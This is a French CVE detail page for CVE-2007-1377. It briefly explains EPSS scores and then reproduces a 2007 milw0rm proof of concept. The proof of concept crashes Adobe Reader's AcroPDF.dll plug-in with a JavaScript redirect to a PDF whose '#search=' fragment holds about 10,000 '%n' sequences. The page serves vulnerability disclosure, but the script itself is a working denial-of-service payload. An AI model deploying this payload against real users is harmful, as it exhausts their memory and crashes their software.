CVE-2007-1377 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<!-------------------------------------------------------------------------------- Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org Well, Adobe guys do a good job after the publication of a variety of bug in AcroPDF.dll, one for all From Secunia: "Input passed to a hosted PDF file is not properly sanitised by the browser plug-in before being returned to users. This can be exploited to execute arbitrary script code in a user's browser session in context of an affected site." So now the dll is able to understand when you're trying to insert something wrong prompting you with "One or more of the query terms are too long." and that's a good thing but... I thought "can this dll sanitise chars like %n" Well the answer is: no. Unfortunately (sure depends by the point of view) Internet Explorer is not useful for a test 'cause a limited number of chars (only 2083) is admitted in the address bar, so we need to use browser like Firefox and stuff like that. When you browse to a hosted pdf file like this http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like) the browse will stop to answer until the process AcroRd32.exe crashes, the CPU usage is about 50-60% and the paging file usage grow until it's full and you have the message "Insufficient virtual memory..." Here's a proof of concept, for online demonstration see: http://www.shinnai.altervista.org/adobe.html txt version here: http://www.shinnai.altervista.org/txt/adobe.txt --------------------------------------------------------------------------------> <script language="javascript"> var browserName=navigator.appName; if (browserName=="Netscape") {var f = "" var c = "" for (var i = 0; i <= 10000; i++) { var f = f + "%n"; } document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + (f) } else if (browserName=='Opera') {var f = "" var c = "" for (var i = 0; i <= 10000; i++) { var f = f + "%n"; } document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + (f) } else if (browserName=='Microsoft Internet Explorer') { alert("This exploit doesn't work with IE. You need to use Firefox and stuff like that."); document.location="http://www.shinnai.altervista.org"; } else { alert("Mmm... I don't know what are you browsing with here, so no martini no party."); } </script> # milw0rm.com [2007-03-08]